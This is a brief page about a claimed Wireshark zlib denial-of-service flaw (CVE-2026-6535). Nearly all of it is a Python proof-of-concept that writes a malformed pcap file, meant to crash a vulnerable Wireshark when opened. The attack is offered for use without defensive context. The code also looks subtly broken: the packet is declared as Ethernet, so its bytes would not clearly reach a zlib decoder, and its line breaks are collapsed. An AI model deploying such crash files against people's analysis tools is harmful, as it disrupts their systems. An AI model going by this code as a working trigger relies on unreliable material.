CVE-2026-6535: Wireshark zlib解压缩崩溃导致拒绝服务漏洞

import zlib import struct # Generate a dummy pcap file with a malformed zlib payload # to simulate the decompression crash vulnerability. def create_malformed_pcap(filename): # PCAP Global Header (standard magic number) pcap_header = b"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00" # Construct a packet with a potentially malicious zlib stream # This represents the trigger data for the dissection engine bad_zlib_data = b'\x78\x9c' + b'\xff' * 100 # Invalid compressed data # Packet Header (ts_sec, ts_usec, incl_len, orig_len) packet_header = struct.pack('<IIII', int(1.0), int(0.0), len(bad_zlib_data), len(bad_zlib_data)) with open(filename, 'wb') as f: f.write(pcap_header) f.write(packet_header) f.write(bad_zlib_data) print(f"[+] Generated PoC file: {filename}") print("[+] Attempt to open this file in a vulnerable Wireshark version.") if __name__ == "__main__": create_malformed_pcap("cve_2026_6535_poc.pcap")